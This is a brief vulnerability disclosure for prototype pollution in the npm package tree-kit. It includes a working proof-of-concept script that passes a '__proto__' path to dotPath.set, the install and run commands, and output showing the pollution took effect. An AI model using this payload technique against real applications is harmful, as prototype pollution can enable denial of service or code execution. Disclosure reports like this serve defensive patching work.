Prototype Pollution in cronvel/tree-kit


Reported on

Jan 26th 2021


tree-kit is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
const { dotPath } = require('tree-kit')

console.log("Before: ", {}.polluted)
dotPath.set({}, '__proto__.polluted', true)
console.log("After: ", {}.polluted)
  1. Execute the following commands in the terminal:
npm i tree-kit # install vulnerable package
node poc.js # run the PoC
  1. Check the output:
Before: undefined
After: true


Prototype Pollution leads to Information Disclosure/DoS/RCE.

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